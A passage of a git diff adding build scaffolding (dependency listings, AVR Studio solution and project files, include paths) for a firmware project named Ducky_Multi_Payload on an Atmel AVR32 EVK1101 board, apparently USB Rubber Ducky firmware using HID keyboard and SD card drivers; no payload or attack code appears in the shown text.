5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + 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c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/main.h \ + ../src/asf/common/boards/board.h \ + ../src/asf/avr32/boards/evk1101/evk1101.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/common/services/storage/ctrl_access/ctrl_access.h \ + ../src/config/conf_access.h \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h \ + ../src/asf/avr32/drivers/pm/power_clocks_lib.h \ + ../src/asf/avr32/drivers/pm/pm.h ../src/asf/avr32/drivers/gpio/gpio.h \ + ../src/asf/avr32/drivers/spi/spi.h ../src/config/conf_sd_mmc_spi.h \ + ../src/config/conf_access.h \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.h \ + ../src/asf/avr32/services/fs/fat/fat.h \ + ../src/asf/avr32/services/fs/fat/fs_com.h ../src/config/conf_explorer.h \ + ../src/asf/avr32/services/fs/fat/file.h \ + ../src/asf/avr32/services/fs/fat/fat.h \ + ../src/asf/avr32/services/fs/fat/navigation.h ../src/config/conf_usb.h \ + ../src/main.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/usb/usb_protocol.h \ + ../src/asf/common/services/usb/usb_atmel.h \ + ../src/asf/common/services/usb/class/hid/usb_protocol_hid.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udc.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/clock/sysclk.h ../src/config/conf_clock.h \ + ../src/asf/common/services/clock/uc3b0_b1/sysclk.h \ + ../src/asf/common/services/clock/osc.h \ + ../src/asf/common/services/clock/uc3b0_b1/osc.h \ + ../src/asf/common/services/clock/pll.h \ + ../src/asf/common/services/clock/uc3b0_b1/pll.h \ + ../src/asf/common/services/clock/genclk.h \ + ../src/asf/common/services/clock/uc3b0_b1/genclk.h \ + ../src/asf/common/services/sleepmgr/sleepmgr.h \ + ../src/asf/avr32/drivers/pm/sleep.h \ + ../src/asf/common/services/sleepmgr/uc3/sleepmgr.h \ + ../src/config/conf_sleepmgr.h + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/main.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/common/services/storage/ctrl_access/ctrl_access.h: + +../src/config/conf_access.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h: + +../src/asf/avr32/drivers/pm/power_clocks_lib.h: + +../src/asf/avr32/drivers/pm/pm.h: + +../src/asf/avr32/drivers/gpio/gpio.h: + +../src/asf/avr32/drivers/spi/spi.h: + +../src/config/conf_sd_mmc_spi.h: + +../src/config/conf_access.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.h: + +../src/asf/avr32/services/fs/fat/fat.h: + +../src/asf/avr32/services/fs/fat/fs_com.h: + +../src/config/conf_explorer.h: + +../src/asf/avr32/services/fs/fat/file.h: + +../src/asf/avr32/services/fs/fat/fat.h: + +../src/asf/avr32/services/fs/fat/navigation.h: + +../src/config/conf_usb.h: + +../src/main.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h: + +../src/asf/common/services/usb/usb_protocol.h: + +../src/asf/common/services/usb/usb_atmel.h: + +../src/asf/common/services/usb/class/hid/usb_protocol_hid.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udc.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h: + +../src/asf/common/services/clock/sysclk.h: + +../src/config/conf_clock.h: + +../src/asf/common/services/clock/uc3b0_b1/sysclk.h: + +../src/asf/common/services/clock/osc.h: + +../src/asf/common/services/clock/uc3b0_b1/osc.h: + +../src/asf/common/services/clock/pll.h: + +../src/asf/common/services/clock/uc3b0_b1/pll.h: + +../src/asf/common/services/clock/genclk.h: + +../src/asf/common/services/clock/uc3b0_b1/genclk.h: + +../src/asf/common/services/sleepmgr/sleepmgr.h: + +../src/asf/avr32/drivers/pm/sleep.h: + +../src/asf/common/services/sleepmgr/uc3/sleepmgr.h: + +../src/config/conf_sleepmgr.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/main.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/main.o new file mode 100644 index 0000000..0f45cb0 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/main.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Framework.config b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Framework.config new file mode 100644 index 0000000..ba75d13 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Framework.config @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.atsln b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.atsln new file mode 100644 index 0000000..51532b7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.atsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{54F91283-7BC4-4236-8FF9-10F437C3AD48}") = "duck", "duck.cproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.atsuo b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.atsuo new file mode 100644 index 0000000..21041b5 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.atsuo differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrgccproj b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrgccproj new file mode 100644 index 0000000..f3f41c2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrgccproj @@ -0,0 +1,567 @@ + + + + 2.0 + 5.0 + fee31e0f-40f4-11e0-93cf-000c29a22d21 + AT32UC3B0256 + uc3b + $(MSBuildProjectName).elf + $(MSBuildProjectDirectory)\$(Configuration) + + $(MSBuildProjectName) + $(MSBuildProjectName) + $(MSBuildProjectName) + Executable + C + com.Atmel.AVRGCC32 + True + + + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize for size (-Os) + -fdata-sections + True + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + True + + + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize (-O1) + -fdata-sections + True + Maximum (-g3) + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrsln b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrsln new file mode 100644 index 0000000..b4b3c40 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{D1100916-62DA-4D80-A9B4-55A1E7CCEEB3}") = "duck", "duck.avrgccproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrsuo b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrsuo new file mode 100644 index 0000000..4536ea1 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/duck.avrsuo differ diff --git 